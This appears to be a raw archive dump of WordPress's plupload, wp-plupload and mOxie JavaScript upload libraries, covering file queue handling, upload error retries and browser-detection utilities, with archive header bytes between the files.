			for (i = files.length - 1; i >= 0; i--) {
				if (files[i].id === id) {
					return files[i];
				}
			}
		},

		/**
		 * Adds file to the queue programmatically. Can be native file, instance of Plupload.File,
		 * instance of mOxie.File, input[type="file"] element, or array of these. Fires FilesAdded, 
		 * if any files were added to the queue. Otherwise nothing happens.
		 *
		 * @method addFile
		 * @since 2.0
		 * @param {plupload.File|mOxie.File|File|Node|Array} file File or files to add to the queue.
		 * @param {String} [fileName] If specified, will be used as a name for the file
		 */
		addFile : function(file, fileName) {
			var self = this
			, queue = [] 
			, filesAdded = []
			, ruid
			;

			function filterFile(file, cb) {
				var queue = [];
				o.each(self.settings.filters, function(rule, name) {
					if (fileFilters[name]) {
						queue.push(function(cb) {
							fileFilters[name].call(self, rule, file, function(res) {
								cb(!res);
							});
						});
					}
				});
				o.inSeries(queue, cb);
			}

			/**
			 * @method resolveFile
			 * @private
			 * @param {o.File|o.Blob|plupload.File|File|Blob|input[type="file"]} file
			 */
			function resolveFile(file) {
				var type = o.typeOf(file);

				// o.File
				if (file instanceof o.File) { 
					if (!file.ruid && !file.isDetached()) {
						if (!ruid) { // weird case
							return false;
						}
						file.ruid = ruid;
						file.connectRuntime(ruid);
					}
					resolveFile(new plupload.File(file));
				}
				// o.Blob 
				else if (file instanceof o.Blob) {
					resolveFile(file.getSource());
					file.destroy();
				} 
				// plupload.File - final step for other branches
				else if (file instanceof plupload.File) {
					if (fileName) {
						file.name = fileName;
					}
					
					queue.push(function(cb) {
						// run through the internal and user-defined filters, if any
						filterFile(file, function(err) {
							if (!err) {
								// make files available for the filters by updating the main queue directly
								files.push(file);
								// collect the files that will be passed to FilesAdded event
								filesAdded.push(file); 

								self.trigger("FileFiltered", file);
							}
							delay(cb, 1); // do not build up recursions or eventually we might hit the limits
						});
					});
				} 
				// native File or blob
				else if (o.inArray(type, ['file', 'blob']) !== -1) {
					resolveFile(new o.File(null, file));
				} 
				// input[type="file"]
				else if (type === 'node' && o.typeOf(file.files) === 'filelist') {
					// if we are dealing with input[type="file"]
					o.each(file.files, resolveFile);
				} 
				// mixed array of any supported types (see above)
				else if (type === 'array') {
					fileName = null; // should never happen, but unset anyway to avoid funny situations
					o.each(file, resolveFile);
				}
			}

			ruid = getRUID();
			
			resolveFile(file);

			if (queue.length) {
				o.inSeries(queue, function() {
					// if any files left after filtration, trigger FilesAdded
					if (filesAdded.length) {
						self.trigger("FilesAdded", filesAdded);
					}
				});
			}
		},

		/**
		 * Removes a specific file.
		 *
		 * @method removeFile
		 * @param {plupload.File|String} file File to remove from queue.
		 */
		removeFile : function(file) {
			var id = typeof(file) === 'string' ? file : file.id;

			for (var i = files.length - 1; i >= 0; i--) {
				if (files[i].id === id) {
					return this.splice(i, 1)[0];
				}
			}
		},

		/**
		 * Removes part of the queue and returns the files removed. This will also trigger the FilesRemoved and QueueChanged events.
		 *
		 * @method splice
		 * @param {Number} start (Optional) Start index to remove from.
		 * @param {Number} length (Optional) Lengh of items to remove.
		 * @return {Array} Array of files that was removed.
		 */
		splice : function(start, length) {
			// Splice and trigger events
			var removed = files.splice(start === undef ? 0 : start, length === undef ? files.length : length);

			// if upload is in progress we need to stop it and restart after files are removed
			var restartRequired = false;
			if (this.state == plupload.STARTED) { // upload in progress
				plupload.each(removed, function(file) {
					if (file.status === plupload.UPLOADING) {
						restartRequired = true; // do not restart, unless file that is being removed is uploading
						return false;
					}
				});
				
				if (restartRequired) {
					this.stop();
				}
			}

			this.trigger("FilesRemoved", removed);

			// Dispose any resources allocated by those files
			plupload.each(removed, function(file) {
				file.destroy();
			});
			
			if (restartRequired) {
				this.start();
			}

			return removed;
		},

		/**
		Dispatches the specified event name and its arguments to all listeners.

		@method trigger
		@param {String} name Event name to fire.
		@param {Object..} Multiple arguments to pass along to the listener functions.
		*/

		// override the parent method to match Plupload-like event logic
		dispatchEvent: function(type) {
			var list, args, result;
						
			type = type.toLowerCase();
							
			list = this.hasEventListener(type);

			if (list) {
				// sort event list by priority
				list.sort(function(a, b) { return b.priority - a.priority; });
				
				// first argument should be current plupload.Uploader instance
				args = [].slice.call(arguments);
				args.shift();
				args.unshift(this);

				for (var i = 0; i < list.length; i++) {
					// Fire event, break chain if false is returned
					if (list[i].fn.apply(list[i].scope, args) === false) {
						return false;
					}
				}
			}
			return true;
		},

		/**
		Check whether uploader has any listeners to the specified event.

		@method hasEventListener
		@param {String} name Event name to check for.
		*/


		/**
		Adds an event listener by name.

		@method bind
		@param {String} name Event name to listen for.
		@param {function} fn Function to call ones the event gets fired.
		@param {Object} [scope] Optional scope to execute the specified function in.
		@param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
		*/
		bind: function(name, fn, scope, priority) {
			// adapt moxie EventTarget style to Plupload-like
			plupload.Uploader.prototype.bind.call(this, name, fn, priority, scope);
		},

		/**
		Removes the specified event listener.

		@method unbind
		@param {String} name Name of event to remove.
		@param {function} fn Function to remove from listener.
		*/

		/**
		Removes all event listeners.

		@method unbindAll
		*/


		/**
		 * Destroys Plupload instance and cleans after itself.
		 *
		 * @method destroy
		 */
		destroy : function() {
			this.trigger('Destroy');
			settings = total = null; // purge these exclusively
			this.unbindAll();
		}
	});
};

plupload.Uploader.prototype = o.EventTarget.instance;

/**
 * Constructs a new file instance.
 *
 * @class File
 * @constructor
 * 
 * @param {Object} file Object containing file properties
 * @param {String} file.name Name of the file.
 * @param {Number} file.size File size.
 */
plupload.File = (function() {
	var filepool = {};

	function PluploadFile(file) {

		plupload.extend(this, {

			/**
			 * File id this is a globally unique id for the specific file.
			 *
			 * @property id
			 * @type String
			 */
			id: plupload.guid(),

			/**
			 * File name for example "myfile.gif".
			 *
			 * @property name
			 * @type String
			 */
			name: file.name || file.fileName,

			/**
			 * File type, `e.g image/jpeg`
			 *
			 * @property type
			 * @type String
			 */
			type: file.type || '',

			/**
			 * File size in bytes (may change after client-side manupilation).
			 *
			 * @property size
			 * @type Number
			 */
			size: file.size || file.fileSize,

			/**
			 * Original file size in bytes.
			 *
			 * @property origSize
			 * @type Number
			 */
			origSize: file.size || file.fileSize,

			/**
			 * Number of bytes uploaded of the files total size.
			 *
			 * @property loaded
			 * @type Number
			 */
			loaded: 0,

			/**
			 * Number of percentage uploaded of the file.
			 *
			 * @property percent
			 * @type Number
			 */
			percent: 0,

			/**
			 * Status constant matching the plupload states QUEUED, UPLOADING, FAILED, DONE.
			 *
			 * @property status
			 * @type Number
			 * @see plupload
			 */
			status: plupload.QUEUED,

			/**
			 * Date of last modification.
			 *
			 * @property lastModifiedDate
			 * @type {String}
			 */
			lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString(), // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)

			/**
			 * Returns native window.File object, when it's available.
			 *
			 * @method getNative
			 * @return {window.File} or null, if plupload.File is of different origin
			 */
			getNative: function() {
				var file = this.getSource().getSource();
				return o.inArray(o.typeOf(file), ['blob', 'file']) !== -1 ? file : null;
			},

			/**
			 * Returns mOxie.File - unified wrapper object that can be used across runtimes.
			 *
			 * @method getSource
			 * @return {mOxie.File} or null
			 */
			getSource: function() {
				if (!filepool[this.id]) {
					return null;
				}
				return filepool[this.id];
			},

			/**
			 * Destroys plupload.File object.
			 *
			 * @method destroy
			 */
			destroy: function() {
				var src = this.getSource();
				if (src) {
					src.destroy();
					delete filepool[this.id];
				}
			}
		});

		filepool[this.id] = file;
	}

	return PluploadFile;
}());


/**
 * Constructs a queue progress.
 *
 * @class QueueProgress
 * @constructor
 */
 plupload.QueueProgress = function() {
	var self = this; // Setup alias for self to reduce code size when it's compressed

	/**
	 * Total queue file size.
	 *
	 * @property size
	 * @type Number
	 */
	self.size = 0;

	/**
	 * Total bytes uploaded.
	 *
	 * @property loaded
	 * @type Number
	 */
	self.loaded = 0;

	/**
	 * Number of files uploaded.
	 *
	 * @property uploaded
	 * @type Number
	 */
	self.uploaded = 0;

	/**
	 * Number of files failed to upload.
	 *
	 * @property failed
	 * @type Number
	 */
	self.failed = 0;

	/**
	 * Number of files yet to be uploaded.
	 *
	 * @property queued
	 * @type Number
	 */
	self.queued = 0;

	/**
	 * Total percent of the uploaded bytes.
	 *
	 * @property percent
	 * @type Number
	 */
	self.percent = 0;

	/**
	 * Bytes uploaded per second.
	 *
	 * @property bytesPerSec
	 * @type Number
	 */
	self.bytesPerSec = 0;

	/**
	 * Resets the progress to its initial values.
	 *
	 * @method reset
	 */
	self.reset = function() {
		self.size = self.loaded = self.uploaded = self.failed = self.queued = self.percent = self.bytesPerSec = 0;
	};
};

window.plupload = plupload;

}(window, mOxie));
PKYd[2�Δ�wp-plupload.min.jsnu�[���window.wp=window.wp||{},function(e,l){var u;"undefined"!=typeof _wpPluploadSettings&&(l.extend(u=function(e){var n,t,i,p,d=this,a={container:"container",browser:"browse_button",dropzone:"drop_element"},s={};if(this.supports={upload:u.browser.supported},this.supported=this.supports.upload,this.supported){for(t in this.plupload=l.extend(!0,{multipart_params:{}},u.defaults),this.container=document.body,l.extend(!0,this,e),this)"function"==typeof this[t]&&(this[t]=l.proxy(this[t],this));for(t in a)this[t]&&(this[t]=l(this[t]).first(),this[t].length?(this[t].prop("id")||this[t].prop("id","__wp-uploader-id-"+u.uuid++),this.plupload[a[t]]=this[t].prop("id")):delete this[t]);(this.browser&&this.browser.length||this.dropzone&&this.dropzone.length)&&(this.uploader=new plupload.Uploader(this.plupload),delete this.plupload,this.param(this.params||{}),delete this.params,n=function(t,a,r){var e,o;a&&a.responseHeaders&&(o=a.responseHeaders.match(/x-wp-upload-attachment-id:\s*(\d+)/i))&&o[1]?(o=o[1],(e=s[r.id])&&4<e?(l.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:_wpPluploadSettings.defaults.multipart_params._wpnonce,attachment_id:o,_wp_upload_failed_cleanup:!0}}),i(t,a,r,"no-retry")):(s[r.id]=e?++e:1,l.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:_wpPluploadSettings.defaults.multipart_params._wpnonce,attachment_id:o}}).done(function(e){e.success?p(d.uploader,r,e):(e.data&&e.data.message&&(t=e.data.message),i(t,a,r,"no-retry"))}).fail(function(e){500<=e.status&&e.status<600?n(t,a,r):i(t,a,r,"no-retry")}))):i(pluploadL10n.http_error_image,a,r,"no-retry")},i=function(e,t,a,r){var o=a.type&&0===a.type.indexOf("image/"),i=t&&t.status;"no-retry"!==r&&o&&500<=i&&i<600?n(e,t,a):(a.attachment&&a.attachment.destroy(),u.errors.unshift({message:e||pluploadL10n.default_error,data:t,file:a}),d.error(e,t,a))},p=function(e,t,a){_.each(["file","loaded","size","percent"],function(e){t.attachment.unset(e)}),t.attachment.set(_.extend(a.data,{uploading:!1})),wp.media.model.Attachment.get(a.data.id,t.attachment),u.queue.all(function(e){return!e.get("uploading")})&&u.queue.reset(),d.success(t.attachment)},this.uploader.bind("init",function(e){var t,a,r=d.dropzone,e=d.supports.dragdrop=e.features.dragdrop&&!u.browser.mobile;if(r){if(r.toggleClass("supports-drag-drop",!!e),!e)return r.unbind(".wp-uploader");r.on("dragover.wp-uploader",function(){t&&clearTimeout(t),a||(r.trigger("dropzone:enter").addClass("drag-over"),a=!0)}),r.on("dragleave.wp-uploader, drop.wp-uploader",function(){t=setTimeout(function(){a=!1,r.trigger("dropzone:leave").removeClass("drag-over")},0)}),d.ready=!0,l(d).trigger("uploader:ready")}}),this.uploader.bind("postinit",function(e){e.refresh(),d.init()}),this.uploader.init(),this.browser?this.browser.on("mouseenter",this.refresh):this.uploader.disableBrowse(!0),l(d).on("uploader:ready",function(){l('.moxie-shim-html5 input[type="file"]').attr({tabIndex:"-1","aria-hidden":"true"})}),this.uploader.bind("FilesAdded",function(r,e){_.each(e,function(e){var t,a;if(plupload.FAILED!==e.status){if("image/heic"===e.type&&r.settings.heic_upload_error)u.errors.unshift({message:pluploadL10n.unsupported_image,data:{},file:e});else{if("image/webp"===e.type&&r.settings.webp_upload_error)return i(pluploadL10n.noneditable_image,{},e,"no-retry"),void r.removeFile(e);if("image/avif"===e.type&&r.settings.avif_upload_error)return i(pluploadL10n.noneditable_image,{},e,"no-retry"),void r.removeFile(e)}t=_.extend({file:e,uploading:!0,date:new Date,filename:e.name,menuOrder:0,uploadedTo:wp.media.model.settings.post.id},_.pick(e,"loaded","size","percent")),(a=/(?:jpe?g|png|gif)$/i.exec(e.name))&&(t.type="image",t.subtype="jpg"===a[0]?"jpeg":a[0]),e.attachment=wp.media.model.Attachment.create(t),u.queue.add(e.attachment),d.added(e.attachment)}}),r.refresh(),r.start()}),this.uploader.bind("UploadProgress",function(e,t){t.attachment.set(_.pick(t,"loaded","percent")),d.progress(t.attachment)}),this.uploader.bind("FileUploaded",function(e,t,a){try{a=JSON.parse(a.response)}catch(e){return i(pluploadL10n.default_error,e,t)}return!_.isObject(a)||_.isUndefined(a.success)?i(pluploadL10n.default_error,null,t):a.success?void p(e,t,a):i(a.data&&a.data.message,a.data,t)}),this.uploader.bind("Error",function(e,t){var a,r=pluploadL10n.default_error;for(a in u.errorMap)if(t.code===plupload[a]){"function"==typeof(r=u.errorMap[a])&&(r=r(t.file,t));break}i(r,t,t.file),e.refresh()}))}},_wpPluploadSettings),u.uuid=0,u.errorMap={FAILED:pluploadL10n.upload_failed,FILE_EXTENSION_ERROR:pluploadL10n.invalid_filetype,IMAGE_FORMAT_ERROR:pluploadL10n.not_an_image,IMAGE_MEMORY_ERROR:pluploadL10n.image_memory_exceeded,IMAGE_DIMENSIONS_ERROR:pluploadL10n.image_dimensions_exceeded,GENERIC_ERROR:pluploadL10n.upload_failed,IO_ERROR:pluploadL10n.io_error,SECURITY_ERROR:pluploadL10n.security_error,FILE_SIZE_ERROR:function(e){return pluploadL10n.file_exceeds_size_limit.replace("%s",e.name)},HTTP_ERROR:function(e){return e.type&&0===e.type.indexOf("image/")?pluploadL10n.http_error_image:pluploadL10n.http_error}},l.extend(u.prototype,{param:function(e,t){if(1===arguments.length&&"string"==typeof e)return this.uploader.settings.multipart_params[e];1<arguments.length?this.uploader.settings.multipart_params[e]=t:l.extend(this.uploader.settings.multipart_params,e)},init:function(){},error:function(){},success:function(){},added:function(){},progress:function(){},complete:function(){},refresh:function(){var e,t,a;if(this.browser){for(e=this.browser[0];e;){if(e===document.body){t=!0;break}e=e.parentNode}t||(a="wp-uploader-browser-"+this.uploader.id,(a=(a=l("#"+a)).length?a:l('<div class="wp-uploader-browser" />').css({position:"fixed",top:"-1000px",left:"-1000px",height:0,width:0}).attr("id","wp-uploader-browser-"+this.uploader.id).appendTo("body")).append(this.browser))}this.uploader.refresh()}}),u.queue=new wp.media.model.Attachments([],{query:!1}),u.errors=new Backbone.Collection,e.Uploader=u)}(wp,jQuery);PKYd[�g϶����moxie.jsnu�[���;var MXI_DEBUG = false;
/**
 * mOxie - multi-runtime File API & XMLHttpRequest L2 Polyfill
 * v1.3.5.1
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 *
 * Date: 2016-05-15
 */
/**
 * Compiled inline version. (Library mode)
 */

/**
 * Modified for WordPress.
 * - Silverlight and Flash runtimes support was removed. See https://core.trac.wordpress.org/ticket/41755.
 * - A stray Unicode character has been removed. See https://core.trac.wordpress.org/ticket/59329.
 *
 * This is a de-facto fork of the mOxie library that will be maintained by WordPress due to upstream license changes
 * that are incompatible with the GPL.
 */

/*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */
/*globals $code */

(function(exports, undefined) {
	"use strict";

	var modules = {};

	function require(ids, callback) {
		var module, defs = [];

		for (var i = 0; i < ids.length; ++i) {
			module = modules[ids[i]] || resolve(ids[i]);
			if (!module) {
				throw 'module definition dependecy not found: ' + ids[i];
			}

			defs.push(module);
		}

		callback.apply(null, defs);
	}

	function define(id, dependencies, definition) {
		if (typeof id !== 'string') {
			throw 'invalid module definition, module id must be defined and be a string';
		}

		if (dependencies === undefined) {
			throw 'invalid module definition, dependencies must be specified';
		}

		if (definition === undefined) {
			throw 'invalid module definition, definition function must be specified';
		}

		require(dependencies, function() {
			modules[id] = definition.apply(null, arguments);
		});
	}

	function defined(id) {
		return !!modules[id];
	}

	function resolve(id) {
		var target = exports;
		var fragments = id.split(/[.\/]/);

		for (var fi = 0; fi < fragments.length; ++fi) {
			if (!target[fragments[fi]]) {
				return;
			}

			target = target[fragments[fi]];
		}

		return target;
	}

	function expose(ids) {
		for (var i = 0; i < ids.length; i++) {
			var target = exports;
			var id = ids[i];
			var fragments = id.split(/[.\/]/);

			for (var fi = 0; fi < fragments.length - 1; ++fi) {
				if (target[fragments[fi]] === undefined) {
					target[fragments[fi]] = {};
				}

				target = target[fragments[fi]];
			}

			target[fragments[fragments.length - 1]] = modules[id];
		}
	}

// Included from: src/javascript/core/utils/Basic.js

/**
 * Basic.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Basic', [], function() {
	/**
	Gets the true type of the built-in object (better version of typeof).
	@author Angus Croll (http://javascriptweblog.wordpress.com/)

	@method typeOf
	@for Utils
	@static
	@param {Object} o Object to check.
	@return {String} Object [[Class]]
	*/
	var typeOf = function(o) {
		var undef;

		if (o === undef) {
			return 'undefined';
		} else if (o === null) {
			return 'null';
		} else if (o.nodeType) {
			return 'node';
		}

		// the snippet below is awesome, however it fails to detect null, undefined and arguments types in IE lte 8
		return ({}).toString.call(o).match(/\s([a-z|A-Z]+)/)[1].toLowerCase();
	};
		
	/**
	Extends the specified object with another object.

	@method extend
	@static
	@param {Object} target Object to extend.
	@param {Object} [obj]* Multiple objects to extend with.
	@return {Object} Same as target, the extended object.
	*/
	var extend = function(target) {
		var undef;

		each(arguments, function(arg, i) {
			if (i > 0) {
				each(arg, function(value, key) {
					if (value !== undef) {
						if (typeOf(target[key]) === typeOf(value) && !!~inArray(typeOf(value), ['array', 'object'])) {
							extend(target[key], value);
						} else {
							target[key] = value;
						}
					}
				});
			}
		});
		return target;
	};
		
	/**
	Executes the callback function for each item in array/object. If you return false in the
	callback it will break the loop.

	@method each
	@static
	@param {Object} obj Object to iterate.
	@param {function} callback Callback function to execute for each item.
	*/
	var each = function(obj, callback) {
		var length, key, i, undef;

		if (obj) {
			if (typeOf(obj.length) === 'number') { // it might be Array, FileList or even arguments object
				// Loop array items
				for (i = 0, length = obj.length; i < length; i++) {
					if (callback(obj[i], i) === false) {
						return;
					}
				}
			} else if (typeOf(obj) === 'object') {
				// Loop object items
				for (key in obj) {
					if (obj.hasOwnProperty(key)) {
						if (callback(obj[key], key) === false) {
							return;
						}
					}
				}
			}
		}
	};

	/**
	Checks if object is empty.
	
	@method isEmptyObj
	@static
	@param {Object} o Object to check.
	@return {Boolean}
	*/
	var isEmptyObj = function(obj) {
		var prop;

		if (!obj || typeOf(obj) !== 'object') {
			return true;
		}

		for (prop in obj) {
			return false;
		}

		return true;
	};

	/**
	Recieve an array of functions (usually async) to call in sequence, each  function
	receives a callback as first argument that it should call, when it completes. Finally,
	after everything is complete, main callback is called. Passing truthy value to the
	callback as a first argument will interrupt the sequence and invoke main callback
	immediately.

	@method inSeries
	@static
	@param {Array} queue Array of functions to call in sequence
	@param {Function} cb Main callback that is called in the end, or in case of error
	*/
	var inSeries = function(queue, cb) {
		var i = 0, length = queue.length;

		if (typeOf(cb) !== 'function') {
			cb = function() {};
		}

		if (!queue || !queue.length) {
			cb();
		}

		function callNext(i) {
			if (typeOf(queue[i]) === 'function') {
				queue[i](function(error) {
					/*jshint expr:true */
					++i < length && !error ? callNext(i) : cb(error);
				});
			}
		}
		callNext(i);
	};


	/**
	Recieve an array of functions (usually async) to call in parallel, each  function
	receives a callback as first argument that it should call, when it completes. After 
	everything is complete, main callback is called. Passing truthy value to the
	callback as a first argument will interrupt the process and invoke main callback
	immediately.

	@method inParallel
	@static
	@param {Array} queue Array of functions to call in sequence
	@param {Function} cb Main callback that is called in the end, or in case of error
	*/
	var inParallel = function(queue, cb) {
		var count = 0, num = queue.length, cbArgs = new Array(num);

		each(queue, function(fn, i) {
			fn(function(error) {
				if (error) {
					return cb(error);
				}
				
				var args = [].slice.call(arguments);
				args.shift(); // strip error - undefined or not

				cbArgs[i] = args;
				count++;

				if (count === num) {
					cbArgs.unshift(null);
					cb.apply(this, cbArgs);
				} 
			});
		});
	};
	
	
	/**
	Find an element in array and return it's index if present, otherwise return -1.
	
	@method inArray
	@static
	@param {Mixed} needle Element to find
	@param {Array} array
	@return {Int} Index of the element, or -1 if not found
	*/
	var inArray = function(needle, array) {
		if (array) {
			if (Array.prototype.indexOf) {
				return Array.prototype.indexOf.call(array, needle);
			}
		
			for (var i = 0, length = array.length; i < length; i++) {
				if (array[i] === needle) {
					return i;
				}
			}
		}
		return -1;
	};


	/**
	Returns elements of first array if they are not present in second. And false - otherwise.

	@private
	@method arrayDiff
	@param {Array} needles
	@param {Array} array
	@return {Array|Boolean}
	*/
	var arrayDiff = function(needles, array) {
		var diff = [];

		if (typeOf(needles) !== 'array') {
			needles = [needles];
		}

		if (typeOf(array) !== 'array') {
			array = [array];
		}

		for (var i in needles) {
			if (inArray(needles[i], array) === -1) {
				diff.push(needles[i]);
			}	
		}
		return diff.length ? diff : false;
	};


	/**
	Find intersection of two arrays.

	@private
	@method arrayIntersect
	@param {Array} array1
	@param {Array} array2
	@return {Array} Intersection of two arrays or null if there is none
	*/
	var arrayIntersect = function(array1, array2) {
		var result = [];
		each(array1, function(item) {
			if (inArray(item, array2) !== -1) {
				result.push(item);
			}
		});
		return result.length ? result : null;
	};
	
	
	/**
	Forces anything into an array.
	
	@method toArray
	@static
	@param {Object} obj Object with length field.
	@return {Array} Array object containing all items.
	*/
	var toArray = function(obj) {
		var i, arr = [];

		for (i = 0; i < obj.length; i++) {
			arr[i] = obj[i];
		}

		return arr;
	};
	
			
	/**
	Generates an unique ID. The only way a user would be able to get the same ID is if the two persons
	at the same exact millisecond manage to get the same 5 random numbers between 0-65535; it also uses 
	a counter so each ID is guaranteed to be unique for the given page. It is more probable for the earth 
	to be hit with an asteroid.
	
	@method guid
	@static
	@param {String} prefix to prepend (by default 'o' will be prepended).
	@method guid
	@return {String} Virtually unique id.
	*/
	var guid = (function() {
		var counter = 0;
		
		return function(prefix) {
			var guid = new Date().getTime().toString(32), i;

			for (i = 0; i < 5; i++) {
				guid += Math.floor(Math.random() * 65535).toString(32);
			}
			
			return (prefix || 'o_') + guid + (counter++).toString(32);
		};
	}());
	

	/**
	Trims white spaces around the string
	
	@method trim
	@static
	@param {String} str
	@return {String}
	*/
	var trim = function(str) {
		if (!str) {
			return str;
		}
		return String.prototype.trim ? String.prototype.trim.call(str) : str.toString().replace(/^\s*/, '').replace(/\s*$/, '');
	};


	/**
	Parses the specified size string into a byte value. For example 10kb becomes 10240.
	
	@method parseSizeStr
	@static
	@param {String/Number} size String to parse or number to just pass through.
	@return {Number} Size in bytes.
	*/
	var parseSizeStr = function(size) {
		if (typeof(size) !== 'string') {
			return size;
		}
		
		var muls = {
				t: 1099511627776,
				g: 1073741824,
				m: 1048576,
				k: 1024
			},
			mul;


		size = /^([0-9\.]+)([tmgk]?)$/.exec(size.toLowerCase().replace(/[^0-9\.tmkg]/g, ''));
		mul = size[2];
		size = +size[1];
		
		if (muls.hasOwnProperty(mul)) {
			size *= muls[mul];
		}
		return Math.floor(size);
	};


	/**
	 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
	 *
	 * @param {String} str String with tokens
	 * @return {String} String with replaced tokens
	 */
	var sprintf = function(str) {
		var args = [].slice.call(arguments, 1);

		return str.replace(/%[a-z]/g, function() {
			var value = args.shift();
			return typeOf(value) !== 'undefined' ? value : '';
		});
	};
	

	return {
		guid: guid,
		typeOf: typeOf,
		extend: extend,
		each: each,
		isEmptyObj: isEmptyObj,
		inSeries: inSeries,
		inParallel: inParallel,
		inArray: inArray,
		arrayDiff: arrayDiff,
		arrayIntersect: arrayIntersect,
		toArray: toArray,
		trim: trim,
		sprintf: sprintf,
		parseSizeStr: parseSizeStr
	};
});

// Included from: src/javascript/core/utils/Env.js

/**
 * Env.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/core/utils/Env", [
	"moxie/core/utils/Basic"
], function(Basic) {
	
	/**
	 * UAParser.js v0.7.7
	 * Lightweight JavaScript-based User-Agent string parser
	 * https://github.com/faisalman/ua-parser-js
	 *
	 * Copyright © 2012-2015 Faisal Salman <fyzlman@gmail.com>
	 * Dual licensed under GPLv2 & MIT
	 */
	var UAParser = (function (undefined) {

	    //////////////
	    // Constants
	    /////////////


	    var EMPTY       = '',
	        UNKNOWN     = '?',
	        FUNC_TYPE   = 'function',
	        UNDEF_TYPE  = 'undefined',
	        OBJ_TYPE    = 'object',
	        MAJOR       = 'major',
	        MODEL       = 'model',
	        NAME        = 'name',
	        TYPE        = 'type',
	        VENDOR      = 'vendor',
	        VERSION     = 'version',
	        ARCHITECTURE= 'architecture',
	        CONSOLE     = 'console',
	        MOBILE      = 'mobile',
	        TABLET      = 'tablet';


	    ///////////
	    // Helper
	    //////////


	    var util = {
	        has : function (str1, str2) {
	            return str2.toLowerCase().indexOf(str1.toLowerCase()) !== -1;
	        },
	        lowerize : function (str) {
	            return str.toLowerCase();
	        }
	    };


	    ///////////////
	    // Map helper
	    //////////////


	    var mapper = {

	        rgx : function () {

	            // loop through all regexes maps
	            for (var result, i = 0, j, k, p, q, matches, match, args = arguments; i < args.length; i += 2) {

	                var regex = args[i],       // even sequence (0,2,4,..)
	                    props = args[i + 1];   // odd sequence (1,3,5,..)

	                // construct object barebones
	                if (typeof(result) === UNDEF_TYPE) {
	                    result = {};
	                    for (p in props) {
	                        q = props[p];
	                        if (typeof(q) === OBJ_TYPE) {
	                            result[q[0]] = undefined;
	                        } else {
	                            result[q] = undefined;
	                        }
	                    }
	                }

	                // try matching uastring with regexes
	                for (j = k = 0; j < regex.length; j++) {
	                    matches = regex[j].exec(this.getUA());
	                    if (!!matches) {
	                        for (p = 0; p < props.length; p++) {
	                            match = matches[++k];
	                            q = props[p];
	                            // check if given property is actually array
	                            if (typeof(q) === OBJ_TYPE && q.length > 0) {
	                                if (q.length == 2) {
	                                    if (typeof(q[1]) == FUNC_TYPE) {
	                                        // assign modified match
	                                        result[q[0]] = q[1].call(this, match);
	                                    } else {
	                                        // assign given value, ignore regex match
	                                        result[q[0]] = q[1];
	                                    }
	                                } else if (q.length == 3) {
	                                    // check whether function or regex
	                                    if (typeof(q[1]) === FUNC_TYPE && !(q[1].exec && q[1].test)) {
	                                        // call function (usually string mapper)
	                                        result[q[0]] = match ? q[1].call(this, match, q[2]) : undefined;
	                                    } else {
	                                        // sanitize match using given regex
	                                        result[q[0]] = match ? match.replace(q[1], q[2]) : undefined;
	                                    }
	                                } else if (q.length == 4) {
	                                        result[q[0]] = match ? q[3].call(this, match.replace(q[1], q[2])) : undefined;
	                                }
	                            } else {
	                                result[q] = match ? match : undefined;
	                            }
	                        }
	                        break;
	                    }
	                }

	                if(!!matches) break; // break the loop immediately if match found
	            }
	            return result;
	        },

	        str : function (str, map) {

	            for (var i in map) {
	                // check if array
	                if (typeof(map[i]) === OBJ_TYPE && map[i].length > 0) {
	                    for (var j = 0; j < map[i].length; j++) {
	                        if (util.has(map[i][j], str)) {
	                            return (i === UNKNOWN) ? undefined : i;
	                        }
	                    }
	                } else if (util.has(map[i], str)) {
	                    return (i === UNKNOWN) ? undefined : i;
	                }
	            }
	            return str;
	        }
	    };


	    ///////////////
	    // String map
	    //////////////


	    var maps = {

	        browser : {
	            oldsafari : {
	                major : {
	                    '1' : ['/8', '/1', '/3'],
	                    '2' : '/4',
	                    '?' : '/'
	                },
	                version : {
	                    '1.0'   : '/8',
	                    '1.2'   : '/1',
	                    '1.3'   : '/3',
	                    '2.0'   : '/412',
	                    '2.0.2' : '/416',
	                    '2.0.3' : '/417',
	                    '2.0.4' : '/419',
	                    '?'     : '/'
	                }
	            }
	        },

	        device : {
	            sprint : {
	                model : {
	                    'Evo Shift 4G' : '7373KT'
	                },
	                vendor : {
	                    'HTC'       : 'APA',
	                    'Sprint'    : 'Sprint'
	                }
	            }
	        },

	        os : {
	            windows : {
	                version : {
	                    'ME'        : '4.90',
	                    'NT 3.11'   : 'NT3.51',
	                    'NT 4.0'    : 'NT4.0',
	                    '2000'      : 'NT 5.0',
	                    'XP'        : ['NT 5.1', 'NT 5.2'],
	                    'Vista'     : 'NT 6.0',
	                    '7'         : 'NT 6.1',
	                    '8'         : 'NT 6.2',
	                    '8.1'       : 'NT 6.3',
	                    'RT'        : 'ARM'
	                }
	            }
	        }
	    };


	    //////////////
	    // Regex map
	    /////////////


	    var regexes = {

	        browser : [[
	        
	            // Presto based
	            /(opera\smini)\/([\w\.-]+)/i,                                       // Opera Mini
	            /(opera\s[mobiletab]+).+version\/([\w\.-]+)/i,                      // Opera Mobi/Tablet
	            /(opera).+version\/([\w\.]+)/i,                                     // Opera > 9.80
	            /(opera)[\/\s]+([\w\.]+)/i                                          // Opera < 9.80

	            ], [NAME, VERSION], [

	            /\s(opr)\/([\w\.]+)/i                                               // Opera Webkit
	            ], [[NAME, 'Opera'], VERSION], [

	            // Mixed
	            /(kindle)\/([\w\.]+)/i,                                             // Kindle
	            /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,
	                                                                                // Lunascape/Maxthon/Netfront/Jasmine/Blazer

	            // Trident based
